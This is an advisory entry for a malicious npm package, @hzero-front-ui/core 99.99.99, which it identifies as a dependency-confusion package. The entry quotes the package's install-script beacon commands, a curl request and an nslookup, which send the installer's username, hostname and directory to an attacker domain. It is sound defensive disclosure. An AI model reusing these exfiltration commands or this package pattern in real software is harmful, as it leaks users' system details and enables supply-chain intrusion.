MAL-2026-13969

    Dashboard / Malicious Package / MAL-2026-13969

    MAL-2026-13969

    Published: 13 Aug 2026Last Modified: 13 Aug 2026

    Summary: Malicious code in @hzero-front-ui/core (npm)

    Details: Source: amazon-inspector (7821a8d1a76ccfc9b3e0649ad6b600927c9c3448ee083d47809026588daa77ca) Package @hzero-front-ui/[email protected] is a hollow shell (index.js is only `module.exports = {};`) whose sole functional content is preinstall/install lifecycle scripts. On `npm install`, those scripts collect the installer's username (`whoami`), hostname, current working directory, and npm package name, base64-encode the concatenation, and transmit it to attacker-controlled subdomains of callback.m0chan.co.uk via two channels: an HTTPS GET (`curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64`) and a DNS lookup (`nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk`). The 99.99.99 version and hollow contents under an org-shaped `@hzero-front-ui` scope are the standard dependency-confusion shape — a public-registry high-version package published to shadow an internal namesake and beacon out from any build system that mis-resolves the internal name.

    References: https://www.npmjs.com/package/@hzero-front-ui/core/v/99.99.99

    Affected packages

    Package

    Name: @hzero-front-ui/core

    Purl: pkg:npm/%40hzero-front-ui/core

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    99.99.99
    MAL-2026-13969 | CVE-DB